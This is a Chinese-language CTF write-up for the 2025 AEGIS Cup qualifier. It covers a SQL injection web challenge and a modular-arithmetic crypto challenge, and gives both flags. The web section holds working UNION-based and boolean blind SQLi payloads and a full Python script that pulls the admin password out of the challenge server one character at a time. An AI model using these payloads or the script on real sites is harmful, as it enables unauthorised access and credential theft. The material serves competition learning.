TL;DR#

Web — Amnesia Dose (SQLi / Blind boolean + UNION)
題型：Web / SQL injection
重點與做法：透過 Forgot Password 的回傳字串判定欄位數與型別，利用 UNION SELECT 把資料庫欄位印到回應中（發現第四欄為 email），再用 boolean-based 判斷確認密碼前綴為 AEGIS{，最後以 Python requests 寫自動化 brute-force 逐字破解長度為 58 的 password（script 有在文中）。
結果：成功取得 admin 密碼（即 flag）。
Crypto — random multi (模數算術 / 期望值範圍搜索)
題型：Crypto / 模數運算與搜尋
重點與做法：把題目中的數列映成 base=11 的冪次指數，估算總和的期望值與變異數以取得合理的搜尋區間，然後在該區間內對指數 E 做模指數運算與模逆，將結果轉成 bytes。程式使用 Crypto.Util.number 及搜尋範圍縮放策略，最終找到 flag 。

隊伍排名：15 / 40

我嘗試了幾題，像是 Key to the orchard 這題一開始懷疑是不是 Path Traversal 之類的，然後有開 DirBuster 去掃掃看，但是掃到一半 DirBuster 就卡住了，從掃出來的路徑可以看到各種檔案跟 Apache 版本。
還有發現 /admin 會出現 Server Error 500 。
有去注意過 /news 的奇怪文章，因為明明只有六篇，但是 pagination 有十頁。不過 id 改一改數字跟試試看有沒有 SQLi 之後就放著了，我太菜了 (╥﹏╥)

還有 Cipher Restaurant ，這認真是胡鬧廚房 (｡ŏ_ŏ)
看到 PRIME 的時候想說有沒有可能是 PRIME 對應的質數 5361234111 就是 passphrase，失敗 (賽後看大佬們討論好像是要把這幾個質數乘起來當 passphrase？)
當下發現好像有點太通靈了，果斷寫下一題~
可憐的隊友認真坐牢三小時 ( ×ω× ) ，辛苦了！！！
看到小當家出現的那一刻很懵，但沒想到最大的問題出在泡芙阿姨，又學到一個新的隱寫術工具 OpenPuff ，真好

寫 writeup 的時候才發現，泡芙阿姨那一張右下角是不是有 Gemini 的創作痕跡 www

2025 AEGIS 神盾盃初賽#

Web#

Amnesia Dose#

事情是這樣的，Key to the orchard 寫一半寫不下去了，然後已經解完幾題的海獺說這題是 SQLi (是大電神 🛐)，就來寫 Web 了

首先看到 user login，但現在甚麼線索都沒有，直接去看看 Forget Password

第一個想到的是 admin ，按下 Retrieve Password 發現會顯示 I have sent the password to a****@*********** ，猜測在使用者存在的情況下 @ 前面應該是輸入的使用者名稱

先試試看有哪些欄位，' UNION SELECT NULL, NULL, NULL, NULL -- 發現會顯示 email 格式錯誤，表示這個表格一共有四個欄位，並且嘗試 ' UNION SELECT '', '', '', 'test@email.com' -- 後發現第四個欄位是 email。
由於前面送出後顯示的是 email，那有沒有可能利用 UNION 在前端顯示出 admin 的密碼呢？

1
' UNION SELECT '', '', '', (SELECT printf('%s@x.com', password) FROM users LIMIT 1) --

成功把 admin 的 password 印出來了，也知道這個密碼有 58 位
看到大寫 A 有點懷疑是不是 flag

~~有點想把 email 改成自己的真實 email~~，但一想到後台會看到甚麼就覺得還是算了 w
試試看 password 是不是就是 flag，如果是，那顯示的 email 開頭會是 t ，反之，email 開頭會顯示 f

1
' UNION SELECT '', '', '', (
2
  CASE WHEN EXISTS(
3
    SELECT 1 FROM users
4
    WHERE username = 'admin' AND substr(password,1,6) = 'AEGIS{'
5
  ) THEN 'true@x.com' ELSE 'false@x.com' END
6
) --

email 開頭顯示 t ，確定 brute force 出 password 就等於拿到了 flag

接下來就去 brute force password，請 ChatGPT 幫我生 script

1
import requests
2
import time
3
import urllib.parse
4

5
# ---------- 設定區 ----------
6
URL = "https://aegis2025-amnesia.chals.io/forgot_password"
7
PARAM_NAME = "username"
8
HTTP_METHOD = "POST"
9
TRUE_INDICATOR = "I have sent the password to t"
10
USE_URLENCODE = False
11
PRINT_RESPONSE_CHARS = 5000
12
DELAY = 0.15
13
REQUEST_TIMEOUT = 10.0
14

15
HEADERS = {"User-Agent": "Mozilla/5.0 (ctf-debug)"}
16
COOKIES = {}
17
# --------------------------------
18

19
# PAYLOAD_TEMPLATE: 每次驗證整段字串
20
PAYLOAD_TEMPLATE = ("' UNION SELECT '', '', '', (CASE WHEN EXISTS(SELECT 1 FROM users WHERE username='admin' AND substr(password,1,{found_length}) = '{found_and_test_ch}') THEN 'true@x.com' ELSE 'false@x.com' END) -- ")
21

22
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@.-"
23
MAX_LEN = 58
24
session = requests.Session()
25
session.headers.update(HEADERS)
26
if COOKIES:
27
    session.cookies.update(COOKIES)
28

29
def send_debug(payload_value):
30
    data = {PARAM_NAME: payload_value}
31
    try:
32
        if HTTP_METHOD.upper() == "GET":
33
            r = session.get(URL, params=data, timeout=REQUEST_TIMEOUT)
34
            effective_payload = r.request.path_url
35
        else:
36
            r = session.post(URL, data=data, timeout=REQUEST_TIMEOUT)
37
            effective_payload = r.request.body
38
    except requests.RequestException as e:
39
        print("Request failed:", e)
40
        return None, None, None
41

42
    text = r.text or ""
43
    contains = TRUE_INDICATOR in text
44
    snippet = text[:PRINT_RESPONSE_CHARS].replace("\n", "\\n")
45
    return contains, r.status_code, (effective_payload, snippet)
46

47
def send_payload_and_debug(payload):
48
    """helper: 實際送出並印出 debug 資訊"""
49
    if USE_URLENCODE:
50
        payload_to_send = urllib.parse.quote_plus(payload)
51
    else:
52
        payload_to_send = payload
53
    found, status, (sent_body, snippet) = send_debug(payload_to_send)
54
    print("----")
55
    print(f"PAYLOAD SENT (param={PARAM_NAME}): {payload_to_send}")
56
    print("HTTP status:", status)
57
    print("Request body/url:", sent_body)
58
    print("Response snippet:", snippet)
59
    print(f"Contains TRUE_INDICATOR('{TRUE_INDICATOR}')? -> {found}")
60
    return found
61

62
def check_prefix(prefix):
63
    """檢查 password 的前 len(prefix) 個字元是否等於 prefix"""
64
    safe_prefix = prefix.replace("'", "''")
65
    payload = PAYLOAD_TEMPLATE.format(
66
        found_length=len(prefix),
67
        found_and_test_ch=safe_prefix
68
    )
69
    return send_payload_and_debug(payload)
70

71
def brute_force_from_prefix(prefix="", max_len=MAX_LEN):
72
    """從已知 prefix 開始逐位 brute-force"""
73
    found = prefix
74
    start_pos = len(prefix) + 1
75
    print(f"[+] start brute from prefix: '{prefix}', starting at position {start_pos}")
76

77
    for pos in range(start_pos, max_len + 1):
78
        print(f"[+] 測試位置 {pos} ...")
79
        char_found = None
80
        for ch in CHARSET:
81
            test_str = found + ch
82
            payload = PAYLOAD_TEMPLATE.format(
83
                found_length=len(test_str),
84
                found_and_test_ch=test_str
85
            )
86
            ok = send_payload_and_debug(payload)
87
            if ok is None:
88
                print(" request failed, retrying...")
89
                time.sleep(1)
90
                ok = send_payload_and_debug(payload)
91
                if ok is None:
92
                    print(" skip this char")
93
                    continue
94
            if ok:
95
                found += ch
96
                char_found = ch
97
                print(f"找到字元: '{ch}' -> current prefix: {found}")
98
                break
99
            time.sleep(DELAY)
100
        if char_found is None:
101
            print(f"[!] 位置 {pos} 無法找到字元，可能到達密碼結尾或 CHARSET 不完整。停止 brute-force。")
102
            break
103
    return found
104

105
def debug_probe_static():
106
    probe = "' UNION SELECT 'a','b','c','probe@x.com' -- "
107
    if USE_URLENCODE:
108
        probe = urllib.parse.quote_plus(probe)
109
    ok, status, (sent, snippet) = send_debug(probe)
110
    print("=== Static probe ===")
111
    print("Sent:", probe)
112
    print("Status:", status)
113
    print("Response snippet:", snippet)
114
    print("Contains TRUE_INDICATOR? ->", TRUE_INDICATOR in (snippet or ""))
115
    print("=====================")
116
    return TRUE_INDICATOR in (snippet or "")
117

118
if __name__ == "__main__":
119
    print("1) static probe...")
120
    base_ok = debug_probe_static()
121
    if not base_ok:
122
        print("注意：static probe 沒找到 TRUE_INDICATOR，請確認 TRUE_INDICATOR 是否正確或使用 probe@x.com 作為 indicator。")
123

124
    known_prefix = "AEGIS{"
125
    if known_prefix:
126
        print(f"\n2) 檢查已知前綴: {known_prefix}")
127
        ok = check_prefix(known_prefix)
128
        print("check_prefix result:", ok)
129

130
    print("\n3) 從已知 prefix 繼續逐位 brute-force ...")
131
    result = brute_force_from_prefix(prefix=known_prefix, max_len=MAX_LEN)
132
    print("\nResult:", result)

中間還被 ChatGPT 坑了一次，它把我的 payload 改掉了，花了一點時間去 debug
script 跑下去之後，就~~跑去買手搖杯了~~ 🧋
然後就拿到 flag 了~

1
AEGIS{y0u_mu57_m4k3_m0r3_u53_0f_un10n_4ll_53l3c7_a3c4a8a7}

Crypto#

random multi#

~~沒有很想寫 Crypto 所以給 Chatgpt 讀題目~~，我超爛 QQ

總之 Chatgpt 的意思就是：
pool 裡的數都是 11 的不同冪（或 1），因此整個隨機乘法生成的 a 可以寫成 11^E（mod p），E 是選到各冪的指數總和。每次從 pool 選一個冪次視為一個隨機變數，E 是 n 次獨立抽樣的總和；依中央極限定理，E 會集中在期望值 mean_total 附近（± 幾個標準差）。
先計算單次期望與變異數，得到 mean_total 與 std_total；在 mean_total ± R 的範圍內窄幅暴力搜尋候選 E。對每個 E 計算 a = 11^E mod p，取 a 的模逆 a^{-1}，然後 flag_long = c * a^{-1} mod p，再轉成 bytes 並檢查是否像可讀 flag 。
—> 利用機率分布把搜尋空間縮小到集中區間

上學期剛死去的記憶正在攻擊我 w

1
from Crypto.Util.number import long_to_bytes, inverse
2
import math
3
from tqdm import tqdm
4

5
p = 10270690747750681275848519156345460292282442776941950362299330027993038338823977542405725333740052688659124663537769686180834450426957439995949108234020121
6
c = 6211227177504225821131033803784639291621321097309823976872498717139250997486591939973272963659554090619408357034740836341244321284116105064793564676501364
7

8
pool = [11, 11, 2357947691, 19487171, 1, 1, 1, 1, 2357947691, 14641, 14641, 14641,11, 14641, 214358881, 214358881, 14641, 1, 1771561, 14641, 214358881, 19487171,11, 214358881, 14641, 121, 11, 14641, 161051, 161051, 1331, 161051, 11, 14641,19487171, 214358881, 19487171, 121, 19487171, 1, 1331, 161051, 19487171, 19487171,161051, 161051, 2357947691, 2357947691, 11, 1331, 14641, 11, 11, 19487171, 161051]
9

10
# map each pool value -> exponent of base 11 (all pool values are 11^k or 1)
11
exp_map = {1:0, 11:1, 121:2, 1331:3, 14641:4, 161051:5, 1771561:6, 19487171:7, 214358881:8, 2357947691:9}
12
exps = [exp_map[x] for x in pool]
13

14
# parameters
15
n = 7691640804
16

17
# 計算單次期望值與變異數（用來估計總和的分布）
18
mean_single = sum(exps)/len(exps)
19
var_single = sum((e-mean_single)**2 for e in exps)/len(exps)
20
mean_total = mean_single * n
21
std_total = math.sqrt(var_single * n)
22

23
print("單次期望 (mean_single) =", mean_single)
24
print("總期望 (mean_total) ≈", int(mean_total))
25
print("總 sigma (std_total) ≈", int(std_total))
26

27
# 搜尋範圍參數
28
# 從 mean_total - R 到 mean_total + R 嘗試
29
# 初始 R = 1_000_000
30
R = 1_000_000
31

32
start = int(mean_total) - R
33
end   = int(mean_total) + R
34

35
print(f"搜尋範圍 E ∈ [{start}, {end}] （共 {end-start+1} 項）")
36

37
def looks_like_flag(b: bytes) -> bool:
38
    try:
39
        s = b.decode('utf-8')
40
    except:
41
        return False
42
    printable = sum(1 for ch in s if 32 <= ord(ch) < 127)
43
    if printable < 0.8 * len(s):
44
        return False
45
    if "flag" in s.lower() or "CTF" in s or "{" in s and "}" in s:
46
        return True
47
    if len(s) <= 100 and all(32 <= ord(ch) < 127 for ch in s):
48
        return True
49
    return False
50

51
found = []
52
base = 11
53
mod = p
54
inv_cache = {}  # optional cache for inverses (not necessary here)
55
for E in tqdm(range(start, end+1)):
56
    a = pow(base, E, mod)
57
    try:
58
        a_inv = inverse(a, mod)
59
    except ValueError:
60
        continue
61
    flag_long = (c * a_inv) % mod
62
    try:
63
        flag_bytes = long_to_bytes(flag_long)
64
    except Exception:
65
        continue
66
    if len(flag_bytes) == 0:
67
        continue
68
    if looks_like_flag(flag_bytes):
69
        s = flag_bytes
70
        print("---- FOUND candidate ----")
71
        print("E =", E)
72
        print(s)
73
        found.append((E, s))
74

75
if not found:
76
    print("在設定範圍內未找到 flag。")
77
else:
78
    print("可能的結果數量：", len(found))
79
    for E, s in found:
80
        print("E =", E, "->", s)

我原本做好跟 ChatGPT 吵架的準備了，但成功得到 flag

1
AEGIS{1f_y0u_kn0w_1094217hm_1094217hm_w111_h31p_y0u}

這次還是有一種「別鬧了回家吧」的無力感 (╥﹏╥)
加上最近又特別忙，蠻容易破防的(?)
好累，整理完 writeup 再休息
下次…應該會繼續吧